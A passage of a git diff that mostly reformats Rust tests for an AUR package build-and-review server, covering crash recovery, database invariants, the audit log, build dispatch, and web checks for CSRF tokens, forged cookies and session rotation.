+ let split = raw.windows(4).position(|w| w == b"\r\n\r\n").unwrap_or(raw.len());
let head = String::from_utf8_lossy(&raw[..split]).to_string();
let mut lines = head.lines();
let status = lines.next().and_then(|l| l.split_whitespace().nth(1)).and_then(|s| s.parse().ok()).unwrap_or(0);
@@ -778,9 +750,5 @@ pub fn extract(hay: &str, open: &str, close: &str) -> Option<String> {
}
fn unescape(s: &str) -> String {
- s.replace("&amp;", "&")
- .replace("&quot;", "\"")
- .replace("&lt;", "<")
- .replace("&gt;", ">")
- .replace("&#39;", "'")
+ s.replace("&amp;", "&").replace("&quot;", "\"").replace("&lt;", "<").replace("&gt;", ">").replace("&#39;", "'")
}
diff --git a/tests/config.rs b/tests/config.rs
index 6c58122..86222a8 100644
--- a/tests/config.rs
+++ b/tests/config.rs
@@ -16,10 +16,7 @@ fn a_relative_root_is_absolutized_once_and_never_doubled() {
let rel = PathBuf::from("target").join("config-root-test").join("runtime");
let _ = std::fs::remove_dir_all(&rel);
- let cfg = Config {
- root: rel.clone(),
- ..Config::default()
- };
+ let cfg = Config { root: rel.clone(), ..Config::default() };
cfg.save().unwrap();
let reloaded = Config::load(&rel).unwrap();
@@ -43,11 +40,7 @@ fn a_relative_root_is_absolutized_once_and_never_doubled() {
#[test]
fn a_stale_relative_root_in_the_file_is_ignored() {
let tmp = tempfile::tempdir().unwrap();
- std::fs::write(
- tmp.path().join("config.json"),
- "{\n \"root\": \"runtime\"\n}\n",
- )
- .unwrap();
+ std::fs::write(tmp.path().join("config.json"), "{\n \"root\": \"runtime\"\n}\n").unwrap();
let cfg = Config::load(tmp.path()).unwrap();
assert_eq!(cfg.root, std::path::absolute(tmp.path()).unwrap());
assert!(!cfg.root.join("runtime").exists());
@@ -70,10 +63,7 @@ fn the_cli_refuses_a_root_that_was_never_initialized() {
.args(["--root", &tmp.path().display().to_string(), "packages"])
.output()
.unwrap();
- assert!(
- !out.status.success(),
- "a root with no config must fail, not answer from an empty server"
- );
+ assert!(!out.status.success(), "a root with no config must fail, not answer from an empty server");
assert!(
out.stdout.is_empty(),
"nothing may be printed as though the server existed: {}",
@@ -91,11 +81,7 @@ fn init_still_runs_where_there_is_no_config_yet() {
.args(["--root", &root.display().to_string(), "init", "--repo", "aur"])
.output()
.unwrap();
- assert!(
- out.status.success(),
- "{}",
- String::from_utf8_lossy(&out.stderr)
- );
+ assert!(out.status.success(), "{}", String::from_utf8_lossy(&out.stderr));
assert!(root.join("config.json").exists());
assert!(root.join("aur-build.db").exists());
@@ -108,11 +94,7 @@ fn init_still_runs_where_there_is_no_config_yet() {
fn an_absolute_root_is_used_verbatim() {
let tmp = tempfile::tempdir().unwrap();
let dir: &Path = tmp.path();
- std::fs::write(
- dir.join("config.json"),
- format!("{{\n \"root\": \"{}\"\n}}\n", dir.display()),
- )
- .unwrap();
+ std::fs::write(dir.join("config.json"), format!("{{\n \"root\": \"{}\"\n}}\n", dir.display())).unwrap();
assert_eq!(Config::load(dir).unwrap().root, dir);
}
diff --git a/tests/crash.rs b/tests/crash.rs
index 1e72177..94469b8 100644
--- a/tests/crash.rs
+++ b/tests/crash.rs
@@ -68,10 +68,7 @@ fn a_process_killed_mid_step_resumes_from_its_checkpoints_with_no_duplicate_work
env.exec("UPDATE build SET lease_expires_at='2000-01-01T00:00:00Z' WHERE id=?1", &params(vec![id.as_str()]));
assert_eq!(builds::reap_expired(&env.db).unwrap(), 1);
- assert_eq!(
- builds::step_status(&env.db, &id, "build").unwrap(),
- Some(StepState::Interrupted)
- );
+ assert_eq!(builds::step_status(&env.db, &id, "build").unwrap(), Some(StepState::Interrupted));
env.cfg.hooks.shim_kill_parent = None;
env.cfg.save().unwrap();
@@ -91,7 +88,10 @@ fn a_process_killed_mid_step_resumes_from_its_checkpoints_with_no_duplicate_work
);
assert_eq!(aur_build::shims::called_with(&shim, "repo-add", ""), 1, "publish must happen once");
assert_eq!(
- env.query_i64("SELECT count(*) FROM release WHERE pkgbase_id=(SELECT id FROM pkgbase WHERE name='plain-make')", &[]),
+ env.query_i64(
+ "SELECT count(*) FROM release WHERE pkgbase_id=(SELECT id FROM pkgbase WHERE name='plain-make')",
+ &[]
+ ),
Some(1),
"no duplicate release from the resume"
);
@@ -137,7 +137,11 @@ fn a_failed_build_leaves_the_index_serving_the_old_version_and_says_so() {
let web = Web::attach(env, fx);
let attention = web.get("/attention");
- assert!(attention.body.contains("Approved but unbuilt"), "no Attention section: {}", &attention.body[..600.min(attention.body.len())]);
+ assert!(
+ attention.body.contains("Approved but unbuilt"),
+ "no Attention section: {}",
+ &attention.body[..600.min(attention.body.len())]
+ );
assert!(attention.body.contains("still serving 1.0-1"), "Attention does not say what is served");
let pkg = web.get("/packages/plain-make");
assert!(pkg.body.contains("build failed"), "the package page hides the failure");
diff --git a/tests/db.rs b/tests/db.rs
index d91e5f5..755472e 100644
--- a/tests/db.rs
+++ b/tests/db.rs
@@ -6,15 +6,7 @@ use rusqlite::params;
use aur_build::db;
fn insert_snapshot(env: &Env, pkgbase_id: i64, commit: &str) -> i64 {
- db::put_snapshot(
- &env.db.writer,
- pkgbase_id,
- commit,
- &format!("rh-{commit}"),
- "{}",
- "[]",
- )
- .unwrap()
+ db::put_snapshot(&env.db.writer, pkgbase_id, commit, &format!("rh-{commit}"), "{}", "[]").unwrap()
}
fn insert_candidate(env: &Env, pkgbase_id: i64, snap_id: i64, identity: &str, state: &str) {
@@ -28,18 +20,10 @@ fn insert_candidate(env: &Env, pkgbase_id: i64, snap_id: i64, identity: &str, st
#[test]
fn migrations_apply_from_empty_and_are_idempotent() {
let env = Env::new();
- let v = env
- .db
- .read(|c| {
- Ok(c.pragma_query_value(None, "user_version", |r| r.get::<_, u32>(0))?)
- })
- .unwrap();
+ let v = env.db.read(|c| Ok(c.pragma_query_value(None, "user_version", |r| r.get::<_, u32>(0))?)).unwrap();
assert_eq!(v as usize, db::MIGRATIONS.len(), "all migrations applied");
assert_eq!(db::migrate(&env.cfg.db_path()).unwrap(), 0);
- let journal: String = env
- .db
- .read(|c| Ok(c.pragma_query_value(None, "journal_mode", |r| r.get(0))?))
- .unwrap();
+ let journal: String = env.db.read(|c| Ok(c.pragma_query_value(None, "journal_mode", |r| r.get(0))?)).unwrap();
assert_eq!(journal.to_lowercase(), "wal", "WAL mode");
}
@@ -66,10 +50,7 @@ fn i7_second_open_review_is_rejected_by_the_database() {
assert!(err.is_err(), "second pending_review must fail");
insert_candidate(&env, pb, snap2, "id-2", "rejected");
- let n: Option<i64> = env.query_i64(
- "SELECT count(*) FROM candidate WHERE pkgbase_id=?1",
- &params(vec![pb]),
- );
+ let n: Option<i64> = env.query_i64("SELECT count(*) FROM candidate WHERE pkgbase_id=?1", &params(vec![pb]));
assert_eq!(n, Some(2));
}
@@ -88,13 +69,9 @@ fn candidate_identity_is_unique_per_pkgbase() {
fn audit_log_is_append_only() {
let env = Env::new();
db::audit_system(&env.db.writer, "test", "pkgbase", "1", serde_json::json!({"k": 1})).unwrap();
- let id = env
- .query_i64("SELECT id FROM audit ORDER BY id DESC LIMIT 1", &[])
- .unwrap();
+ let id = env.query_i64("SELECT id FROM audit ORDER BY id DESC LIMIT 1", &[]).unwrap();
assert!(
- std::panic::catch_unwind(|| env
- .exec("UPDATE audit SET action='x' WHERE id=?1", &params(vec![id])))
- .is_err(),
+ std::panic::catch_unwind(|| env.exec("UPDATE audit SET action='x' WHERE id=?1", &params(vec![id]))).is_err(),
"audit UPDATE must be refused by trigger"
);
assert!(
@@ -124,10 +101,7 @@ fn accepted_release_pointer_is_compared_and_swapped() {
.unwrap();
assert!(db::cas_accepted_release(&env.db.writer, pb, None, rel).unwrap());
assert!(!db::cas_accepted_release(&env.db.writer, pb, None, rel).unwrap());
- assert_eq!(
- db::get_pkgbase(&env.db, "foo").unwrap().unwrap().current_accepted_release_id,
- Some(rel)
- );
+ assert_eq!(db::get_pkgbase(&env.db, "foo").unwrap().unwrap().current_accepted_release_id, Some(rel));
}
#[test]
@@ -182,19 +156,11 @@ fn duplicate_open_notices_are_suppressed() {
let env = Env::new();
let pb = env.subscribe("foo");
let detail = serde_json::json!({"old": "a", "new": "b"});
- assert!(db::put_notice_once(&env.db.writer, pb, "pin_drift", "info", detail.clone())
- .unwrap()
- .is_some());
- assert!(db::put_notice_once(&env.db.writer, pb, "pin_drift", "info", detail.clone())
- .unwrap()
- .is_none());
- let id = env
- .query_i64("SELECT id FROM notice ORDER BY id DESC LIMIT 1", &[])
- .unwrap();
+ assert!(db::put_notice_once(&env.db.writer, pb, "pin_drift", "info", &detail).unwrap().is_some());
+ assert!(db::put_notice_once(&env.db.writer, pb, "pin_drift", "info", &detail).unwrap().is_none());
+ let id = env.query_i64("SELECT id FROM notice ORDER BY id DESC LIMIT 1", &[]).unwrap();
db::acknowledge_notice(&env.db.writer, id).unwrap();
- assert!(db::put_notice_once(&env.db.writer, pb, "pin_drift", "info", detail)
- .unwrap()
- .is_some());
+ assert!(db::put_notice_once(&env.db.writer, pb, "pin_drift", "info", &detail).unwrap().is_some());
}
#[test]
diff --git a/tests/detect.rs b/tests/detect.rs
index 7edc529..0a87231 100644
--- a/tests/detect.rs
+++ b/tests/detect.rs
@@ -17,10 +17,7 @@ fn seed(env: &Env, name: &str, pkgver: &str, pkgrel: &str, extra: &str) -> Strin
fn pending(env: &Env, name: &str) -> Option<CandidateRow> {
let pb = db::get_pkgbase(&env.db, name).unwrap().unwrap();
- candidates::pending_candidates(&env.db)
- .unwrap()
- .into_iter()
- .find(|c| c.pkgbase_id == pb.id)
+ candidates::pending_candidates(&env.db).unwrap().into_iter().find(|c| c.pkgbase_id == pb.id)
}
fn accepted(env: &Env, name: &str) -> Option<ReleaseRow> {
@@ -100,13 +97,7 @@ fn skip_sources_are_stream_hashed_into_the_cache() {
let payload = env.path("payload.txt");
std::fs::write(&payload, b"the bytes that become the package").unwrap();
let expected = aur_build::hash::hex(b"the bytes that become the package");
- seed(
- &env,
- "foo",
- "1.0",
- "1",
- &format!("source=(file://{})\nsha256sums=('SKIP')\n", payload.display()),
- );
+ seed(&env, "foo", "1.0", "1", &format!("source=(file://{})\nsha256sums=('SKIP')\n", payload.display()));
check_pkgbase(&env.cfg, &env.db, "foo").unwrap();
let c = pending(&env, "foo").unwrap();
let digests = c.digests();
@@ -130,13 +121,7 @@ fn declared_checksums_are_trusted_without_downloading() {
let payload = env.path("declared.txt");
std::fs::write(&payload, b"verified bytes").unwrap();
let d = aur_build::hash::hex(b"verified bytes");
- seed(
- &env,
- "foo",
- "1.0",
- "1",
- &format!("source=(file://{})\nsha256sums=('{d}')\n", payload.display()),
- );
+ seed(&env, "foo", "1.0", "1", &format!("source=(file://{})\nsha256sums=('{d}')\n", payload.display()));
check_pkgbase(&env.cfg, &env.db, "foo").unwrap();
let c = pending(&env, "foo").unwrap();
assert_eq!(c.digests()[0].digest, d);
@@ -173,10 +158,7 @@ fn i2_diff_base_is_the_last_accepted_version_however_many_detections_arrive() {
assert_eq!(c.revision, 2, "revision counts the collapsed detections (v3, v4)");
assert_eq!(c.base_release_id, Some(rel1), "base never moves: the diff is v1 -> v4");
assert_eq!(c.version(), "4.0-1");
- assert_eq!(
- env.query_i64("SELECT count(*) FROM candidate WHERE state='pending_review'", &[]),
- Some(1)
- );
+ assert_eq!(env.query_i64("SELECT count(*) FROM candidate WHERE state='pending_review'", &[]), Some(1));
}
#[test]
@@ -207,13 +189,7 @@ fn a_viewed_review_is_frozen_and_a_fresh_one_opened() {
assert_eq!(c3.version(), "3.0-1");
let old_state: String = env
.db
- .read(|c| {
- Ok(c.query_row(
- "SELECT state FROM candidate WHERE id=?1",
- rusqlite::params![c2.id],
- |r| r.get(0),
- )?)
- })
+ .read(|c| Ok(c.query_row("SELECT state FROM candidate WHERE id=?1", rusqlite::params![c2.id], |r| r.get(0))?))
.unwrap();
assert_eq!(
CandidateState::parse(&old_state),
@@ -231,11 +207,7 @@ fn a_rejected_identity_is_not_re_raised() {
let c = pending(&env, "foo").unwrap();
approve::reject(&env.db, "tester", c.id, "not this one").unwrap();
let rep = check_pkgbase(&env.cfg, &env.db, "foo").unwrap();
- assert!(
- matches!(rep.outcome, Outcome::PreviouslyRejected | Outcome::NoChange),
- "{:?}",
- rep.outcome
- );
+ assert!(matches!(rep.outcome, Outcome::PreviouslyRejected | Outcome::NoChange), "{:?}", rep.outcome);
assert!(pending(&env, "foo").is_none());
git_add_commit(&aur(&env, "foo"), &[("PKGBUILD", &common::pkgbuild("foo", "2.0", "1", ""))], "v2");
check_pkgbase(&env.cfg, &env.db, "foo").unwrap();
@@ -274,13 +246,7 @@ fn digest_drift_with_an_unchanged_version_is_an_integrity_alert() {
env.subscribe("foo");
let payload = env.path("payload.txt");
std::fs::write(&payload, b"good release tarball").unwrap();
- seed(
- &env,
- "foo",
- "1.0",
- "1",
- &format!("source=(file://{})\nsha256sums=('SKIP')\n", payload.display()),
- );
+ seed(&env, "foo", "1.0", "1", &format!("source=(file://{})\nsha256sums=('SKIP')\n", payload.display()));
check_pkgbase(&env.cfg, &env.db, "foo").unwrap();
let c = pending(&env, "foo").unwrap();
env.accept_as_release(c.id);
@@ -309,10 +275,7 @@ fn a_deleted_upstream_marks_the_subscription_and_alerts() {
assert!(matches!(rep.outcome, Outcome::Gone), "{:?}", rep.outcome);
let sub = db::get_subscription(&env.db, "foo").unwrap().unwrap();
assert_eq!(sub.state, SubscriptionState::Orphaned);
- assert!(db::list_notices(&env.db, false)
- .unwrap()
- .iter()
- .any(|n| n.kind == notice_kind::DELETED));
+ assert!(db::list_notices(&env.db, false).unwrap().iter().any(|n| n.kind == notice_kind::DELETED));
}
#[test]
diff --git a/tests/dispatch.rs b/tests/dispatch.rs
index a2aaeed..67eb422 100644
--- a/tests/dispatch.rs
+++ b/tests/dispatch.rs
@@ -96,7 +96,10 @@ fn a_newer_approval_cancels_an_in_flight_build_at_the_step_boundary() {
let id = queued_build(&env, "plain-make");
pass(&env);
assert!(!builds::cancel_requested(&env.db, &id).unwrap());
- env.exec("UPDATE candidate SET state='superseded' WHERE id=(SELECT candidate_id FROM build WHERE id=?1)", &params(vec![id.as_str()]));
+ env.exec(
+ "UPDATE candidate SET state='superseded' WHERE id=(SELECT candidate_id FROM build WHERE id=?1)",
+ &params(vec![id.as_str()]),
+ );
assert_eq!(builds::cancel_superseded(&env.db).unwrap(), 1);
assert!(builds::cancel_requested(&env.db, &id).unwrap());
let out = pipeline::run(&env.cfg, &env.db, &id).unwrap();
@@ -182,10 +185,7 @@ fn a_reaped_build_resumes_at_the_next_incomplete_step_with_no_duplicate_work() {
let c2 = queued_candidate(&env, "plain-make");
let id = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c2).unwrap();
env.set_publish_fault("before-rename");
- assert!(matches!(
- pipeline::run(&env.cfg, &env.db, &id).unwrap(),
- pipeline::Outcome::Failed { .. }
- ));
+ assert!(matches!(pipeline::run(&env.cfg, &env.db, &id).unwrap(), pipeline::Outcome::Failed { .. }));
let builds_before = aur_build::shims::called_with(&env.cfg.hooks.shim_dir.clone().unwrap(), "makepkg", "");
env.clear_publish_fault();
@@ -207,10 +207,7 @@ fn a_reaped_build_resumes_at_the_next_incomplete_step_with_no_duplicate_work() {
"resuming must not rebuild"
);
let steps = builds::steps(&env.db, &id).unwrap();
- let done = steps
- .iter()
- .filter(|s| s.status == StepState::Succeeded || s.status == StepState::Skipped)
- .count();
+ let done = steps.iter().filter(|s| s.status == StepState::Succeeded || s.status == StepState::Skipped).count();
assert_eq!(done, BUILD_STEPS.len(), "not every step ended succeeded or skipped: {steps:?}");
assert_eq!(
env.query_i64("SELECT count(*) FROM release WHERE pkgver='1.0.1'", &[]),
diff --git a/tests/failure_modes.rs b/tests/failure_modes.rs
index 4e7446a..cc5cd44 100644
--- a/tests/failure_modes.rs
+++ b/tests/failure_modes.rs
@@ -55,12 +55,8 @@ impl Sandbox for FakeSandbox {
}
fn run(&self, cmd: &aur_build::sandbox::Cmd, on_log: &mut dyn FnMut(&[u8])) -> Result<Exit> {
match self.fault {
- Fault::DieMidRun if Self::is_build(cmd) => {
- Err(Error::other("sandbox vanished mid-run (connection reset)"))
- }
- Fault::TtlMidBuild if Self::is_build(cmd) => {
- Err(Error::other("sandbox ttl expired during build"))
- }
+ Fault::DieMidRun if Self::is_build(cmd) => Err(Error::other("sandbox vanished mid-run (connection reset)")),
+ Fault::TtlMidBuild if Self::is_build(cmd) => Err(Error::other("sandbox ttl expired during build")),
Fault::EmptyWorld if Self::is_query(cmd) => {
Ok(Exit { code: Some(0), stdout: Vec::new(), stderr: Vec::new() })
}
@@ -113,10 +109,7 @@ fn a_sandbox_that_dies_mid_run_expires_its_lease_and_the_requeue_finishes_the_bu
);
assert_eq!(builds::reap_expired(&env.db).unwrap(), 1);
- assert!(matches!(
- pipeline::run(&env.cfg, &env.db, &id).unwrap(),
- pipeline::Outcome::Succeeded { .. }
- ));
+ assert!(matches!(pipeline::run(&env.cfg, &env.db, &id).unwrap(), pipeline::Outcome::Succeeded { .. }));
assert_eq!(db::index_version(&env.db, "plain-make").unwrap().as_deref(), Some("1.0-1"));
}
@@ -151,11 +144,7 @@ fn a_full_pool_blocks_the_build_instead_of_breaking_it() {
BuildState::BlockedMissingDep,
"the build waits for capacity on the same blocked machinery it uses for missing deps, unharmed"
);
- assert_eq!(
- b.blocked_on_json.as_str(),
- r#"["sandbox-pool"]"#,
- "the block names what it waits on"
- );
+ assert_eq!(b.blocked_on_json.as_str(), r#"["sandbox-pool"]"#, "the block names what it waits on");
}
#[test]
diff --git a/tests/http.rs b/tests/http.rs
index 23c8ba5..209096f 100644
--- a/tests/http.rs
+++ b/tests/http.rs
@@ -77,16 +77,12 @@ fn risk_signals_are_shown_inline() {
fn every_post_requires_a_csrf_token() {
let web = Web::new("plain-make");
let c = web.open_review("plain-make");
- let page = web.post_bare(
+ let page = web.post_bare(&format!("/reviews/{}/approve", c.id), &[("identity_hash", "x"), ("diff_digest", "y")]);
+ assert_eq!(page.status, 403, "a POST without CSRF must be refused");
+ let page = web.post(
&format!("/reviews/{}/approve", c.id),
- &[("identity_hash", "x"), ("diff_digest", "y")],
+ &[("csrf", "not-the-token"), ("identity_hash", &c.identity_hash), ("diff_digest", &c.diff_digest)],
);
- assert_eq!(page.status, 403, "a POST without CSRF must be refused");
- let page = web.post(&format!("/reviews/{}/approve", c.id), &[
- ("csrf", "not-the-token"),
- ("identity_hash", &c.identity_hash),
- ("diff_digest", &c.diff_digest),
- ]);
assert_eq!(page.status, 403, "a forged CSRF token must be refused");
assert_eq!(
web.env.query_i64("SELECT count(*) FROM approval", &[]),
@@ -147,16 +143,11 @@ fn a_stale_approval_is_a_409_that_renders_the_current_diff() {
fn reject_requires_a_note() {
let web = Web::new("plain-make");
let c = web.open_review("plain-make");
- let res = web.post(
- &format!("/reviews/{}/reject", c.id),
- &[("csrf", &web.csrf), ("note", "")],
- );
+ let res = web.post(&format!("/reviews/{}/reject", c.id), &[("csrf", &web.csrf), ("note", "")]);
assert_eq!(res.status, 400, "an empty note must be refused");
assert_eq!(web.env.query_i64("SELECT count(*) FROM approval", &[]), Some(0));
- let res = web.post(
- &format!("/reviews/{}/reject", c.id),
- &[("csrf", &web.csrf), ("note", "upstream dropped our license")],
- );
+ let res = web
+ .post(&format!("/reviews/{}/reject", c.id), &[("csrf", &web.csrf), ("note", "upstream dropped our license")]);
assert_eq!(res.status, 200);
assert_eq!(web.env.query_i64("SELECT count(*) FROM approval WHERE decision='rejected'", &[]), Some(1));
}
@@ -168,14 +159,20 @@ fn bulk_approve_refuses_high_risk_without_individual_confirmation() {
assert_eq!(c.risk_level, aur_build::review::risk::level::HIGH, "fixture should be high risk");
let id = c.id.to_string();
let res = web.post("/reviews/bulk", &[("csrf", &web.csrf), ("decision", "approve"), ("ids", &id)]);
- assert!(res.body.contains("refused"), "bulk approve accepted a high-risk item: {}", &res.body[..300.min(res.body.len())]);
+ assert!(
+ res.body.contains("refused"),
+ "bulk approve accepted a high-risk item: {}",
+ &res.body[..300.min(res.body.len())]
+ );
assert_eq!(web.env.query_i64("SELECT count(*) FROM approval", &[]), Some(0));
- let res = web.post(
- "/reviews/bulk",
- &[("csrf", &web.csrf), ("decision", "approve"), ("ids", &id), ("confirm", &id)],
+ let res =
+ web.post("/reviews/bulk", &[("csrf", &web.csrf), ("decision", "approve"), ("ids", &id), ("confirm", &id)]);
+ assert!(
+ !res.body.contains("refused"),
+ "confirmed item was still refused: {}",
+ &res.body[..300.min(res.body.len())]
);
- assert!(!res.body.contains("refused"), "confirmed item was still refused: {}", &res.body[..300.min(res.body.len())]);
assert_eq!(web.env.query_i64("SELECT count(*) FROM approval", &[]), Some(1));
}
@@ -200,7 +197,13 @@ fn a_forged_auth_cookie_is_not_a_session() {
let web = Web::with_password("plain-make", "s3cret");
for path in ["/", "/reviews", "/audit", "/settings", "/builds", "/packages"] {
let res = web.raw_request("GET", path, &[("Cookie", "auth=1".into())], None);
- assert_eq!(res.status, 303, "{path} let a forged cookie through ({}): {}", res.status, &res.body[..120.min(res.body.len())]);
+ assert_eq!(
+ res.status,
+ 303,
+ "{path} let a forged cookie through ({}): {}",
+ res.status,
+ &res.body[..120.min(res.body.len())]
+ );
assert_eq!(res.header("location"), Some("/login"), "{path} did not redirect to the login page");
}
let res = web.raw_request("POST", "/logout", &[("Cookie", "auth=1".into())], Some(""));
@@ -221,11 +224,24 @@ fn login_rotates_the_session_and_logout_ends_it() {
assert_ne!(session, anon, "login promoted the anonymous session instead of rotating it");
assert_eq!(web.raw_request("GET", "/reviews", &[("Cookie", session.clone())], None).status, 200);
if !anon.is_empty() {
- assert_eq!(web.raw_request("GET", "/reviews", &[("Cookie", anon)], None).status, 303, "the pre-login sid still worked");
+ assert_eq!(
+ web.raw_request("GET", "/reviews", &[("Cookie", anon)], None).status,
+ 303,
+ "the pre-login sid still worked"
+ );
}
- let out = web.raw_request("POST", "/logout", &[("Cookie", session.clone()), ("Content-Type", "application/x-www-form-urlencoded".into())], Some(&format!("csrf={}", web.csrf)));
+ let out = web.raw_request(
+ "POST",
+ "/logout",
+ &[("Cookie", session.clone()), ("Content-Type", "application/x-www-form-urlencoded".into())],
+ Some(&format!("csrf={}", web.csrf)),
+ );
assert_eq!(out.status, 303, "logout did not redirect: {}", out.status);
- assert_eq!(web.raw_request("GET", "/reviews", &[("Cookie", session)], None).status, 303, "the logged-out sid still worked");
+ assert_eq!(
+ web.raw_request("GET", "/reviews", &[("Cookie", session)], None).status,
+ 303,
+ "the logged-out sid still worked"
+ );
}
#[test]
diff --git a/tests/invariants.rs b/tests/invariants.rs
index 4bfffc8..d7a0f6f 100644
--- a/tests/invariants.rs
+++ b/tests/invariants.rs
@@ -23,15 +23,13 @@ fn query_pairs(env: &Env, sql: &str) -> Vec<(String, String)> {
.read(move |c| {
let mut st = c.prepare(sql)?;
let rows = st.query_map([], |r| Ok((r.get::<_, String>(0)?, r.get::<_, String>(1)?)))?;
- Ok(rows.filter_map(|r| r.ok()).collect())
+ Ok(rows.filter_map(std::result::Result::ok).collect())
})
.unwrap()
}
fn count(env: &Env, sql: &str) -> i64 {
- env.db
- .read(move |c| Ok(c.query_row(sql, [], |r| r.get::<_, i64>(0))?))
- .unwrap()
+ env.db.read(move |c| Ok(c.query_row(sql, [], |r| r.get::<_, i64>(0))?)).unwrap()
}
#[test]
@@ -49,10 +47,7 @@ fn i1_every_index_entry_traces_back_to_an_approval() {
0,
"an index entry exists that no human approved"
);
- assert_eq!(
- count(&env, "SELECT count(*) FROM approval WHERE decision='approved'"),
- 1
- );
+ assert_eq!(count(&env, "SELECT count(*) FROM approval WHERE decision='approved'"), 1);
assert_eq!(count(&env, "SELECT count(*) FROM release WHERE approval_id IS NULL"), 0);
}
@@ -97,16 +92,9 @@ fn i4_kill_mid_publish_leaves_the_old_index_byte_identical() {
do_approve(&env.db, "tester", c.id, &c.identity_hash, &dd, None).unwrap();
let id = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap();
env.set_publish_fault("before-rename");
- assert!(matches!(
- pipeline::run(&env.cfg, &env.db, &id).unwrap(),
- pipeline::Outcome::Failed { .. }
- ));
+ assert!(matches!(pipeline::run(&env.cfg, &env.db, &id).unwrap(), pipeline::Outcome::Failed { .. }));
- assert_eq!(
- std::fs::read(&db_file).unwrap(),
- old_bytes,
- "the served index was torn by a crash"
- );
+ assert_eq!(std::fs::read(&db_file).unwrap(), old_bytes, "the served index was torn by a crash");
assert_eq!(
query_pairs(&env, "SELECT name, version FROM package WHERE state='in_index'"),
vec![("plain-make".to_string(), "1.0-1".to_string())]
@@ -128,10 +116,7 @@ fn i5_resume_after_a_crash_repeats_no_completed_step() {
let id = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap();
env.set_publish_fault("before-rename");
- assert!(matches!(
- pipeline::run(&env.cfg, &env.db, &id).unwrap(),
- pipeline::Outcome::Failed { .. }
- ));
+ assert!(matches!(pipeline::run(&env.cfg, &env.db, &id).unwrap(), pipeline::Outcome::Failed { .. }));
let shim = env.cfg.hooks.shim_dir.clone().unwrap();
let builds_before = aur_build::shims::called_with(&shim, "makepkg", "");
assert_eq!(builds_before, 2, "one build per attempted publish");
@@ -141,11 +126,7 @@ fn i5_resume_after_a_crash_repeats_no_completed_step() {
pipeline::Outcome::Succeeded { release_id } => assert!(release_id > 0),
other => panic!("{other:?}"),
}
- assert_eq!(
- aur_build::shims::called_with(&shim, "makepkg", ""),
- builds_before,
- "resuming re-ran the build step"
- );
+ assert_eq!(aur_build::shims::called_with(&shim, "makepkg", ""), builds_before, "resuming re-ran the build step");
assert_eq!(count(&env, "SELECT count(*) FROM release WHERE pkgver='2.0'"), 1);
assert_eq!(
count(&env, "SELECT count(*) FROM artifact"),
@@ -155,11 +136,9 @@ fn i5_resume_after_a_crash_repeats_no_completed_step() {
let bad = env
.db
.read(|c| {
- Ok(c.query_row(
- "SELECT count(*) FROM build_step WHERE status NOT IN ('succeeded','skipped')",
- [],
- |r| r.get::<_, i64>(0),
- )?)
+ Ok(c.query_row("SELECT count(*) FROM build_step WHERE status NOT IN ('succeeded','skipped')", [], |r| {
+ r.get::<_, i64>(0)
+ })?)
})
.unwrap();
assert_eq!(bad, 0, "every step reached a terminal state");
@@ -205,17 +184,11 @@ fn i8_index_equals_the_accepted_pointers() {
FROM pkgbase p
JOIN release r ON r.id = p.current_accepted_release_id",
);
- let index = query_pairs(
- &env,
- "SELECT name, version FROM package WHERE state='in_index'",
- );
- assert!(!pointers.is_empty());
+ let index = query_pairs(&env, "SELECT name, version FROM package WHERE state='in_index'");
+ assert_ne!(pointers, [] as [(std::string::String, std::string::String); 0]);
assert_eq!(index, pointers, "index and accepted pointers diverge");
- assert_eq!(
- count(&env, "SELECT count(*) FROM package WHERE state='in_index' AND version='1.0-1'"),
- 0
- );
+ assert_eq!(count(&env, "SELECT count(*) FROM package WHERE state='in_index' AND version='1.0-1'"), 0);
let db_file = env.cfg.repo_arch_dir().join("aur-build.db.tar.gz");
let names = index_db_names(&db_file);
assert_eq!(names, vec!["plain-make".to_string()]);
@@ -228,10 +201,7 @@ fn i3_materialization_fails_closed_on_the_recipe_pin() {
let c = candidates::pending_candidates(&env.db).unwrap().remove(0);
let dd = diff::render_and_store(&env.db, &env.cfg, &c).unwrap();
do_approve(&env.db, "tester", c.id, &c.identity_hash, &dd, None).unwrap();
- env.exec(
- "UPDATE snapshot SET recipe_hash='sha256:0000' WHERE id=?1",
- &params(vec![c.snapshot_id]),
- );
+ env.exec("UPDATE snapshot SET recipe_hash='sha256:0000' WHERE id=?1", &params(vec![c.snapshot_id]));
let id = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap();
match pipeline::run(&env.cfg, &env.db, &id).unwrap() {
pipeline::Outcome::Failed { step, error, .. } => {
@@ -249,10 +219,7 @@ fn i6_manual_rebuild_publishes_the_same_version_without_a_new_approval() {
full_run(&env, "plain-make");
let approvals = count(&env, "SELECT count(*) FROM approval");
let id = pipeline::enqueue_manual_rebuild(&env.cfg, &env.db, "plain-make").unwrap();
- assert!(matches!(
- pipeline::run(&env.cfg, &env.db, &id).unwrap(),
- pipeline::Outcome::Succeeded { .. }
- ));
+ assert!(matches!(pipeline::run(&env.cfg, &env.db, &id).unwrap(), pipeline::Outcome::Succeeded { .. }));
assert_eq!(count(&env, "SELECT count(*) FROM approval"), approvals, "a rebuild demanded a new approval");
assert_eq!(
query_pairs(&env, "SELECT name, version FROM package WHERE state='in_index'"),
@@ -264,18 +231,12 @@ fn i6_manual_rebuild_publishes_the_same_version_without_a_new_approval() {
fn a_manual_rebuild_is_deterministic_and_its_own_build() {
let (env, _fx) = env_with_fixture("plain-make");
full_run(&env, "plain-make");
- let original = env
- .query_str("SELECT id FROM build ORDER BY rowid LIMIT 1", &[])
- .expect("the published build");
+ let original = env.query_str("SELECT id FROM build ORDER BY rowid LIMIT 1", &[]).expect("the published build");
let a = pipeline::enqueue_manual_rebuild(&env.cfg, &env.db, "plain-make").unwrap();
let b = pipeline::enqueue_manual_rebuild(&env.cfg, &env.db, "plain-make").unwrap();
assert_eq!(a, b, "clicking rebuild twice is one build, not two");
assert_ne!(a, original, "a rebuild is a distinct build from the one that landed");
- assert_eq!(
- count(&env, "SELECT count(*) FROM build"),
- 2,
- "the second call must not enqueue a third row"
- );
+ assert_eq!(count(&env, "SELECT count(*) FROM build"), 2, "the second call must not enqueue a third row");
}
#[test]
@@ -305,7 +266,7 @@ fn i10_audit_is_append_only_and_records_the_decisions() {
.read(|c| {
let mut st = c.prepare("SELECT action FROM audit")?;
let rows = st.query_map([], |r| r.get::<_, String>(0))?;
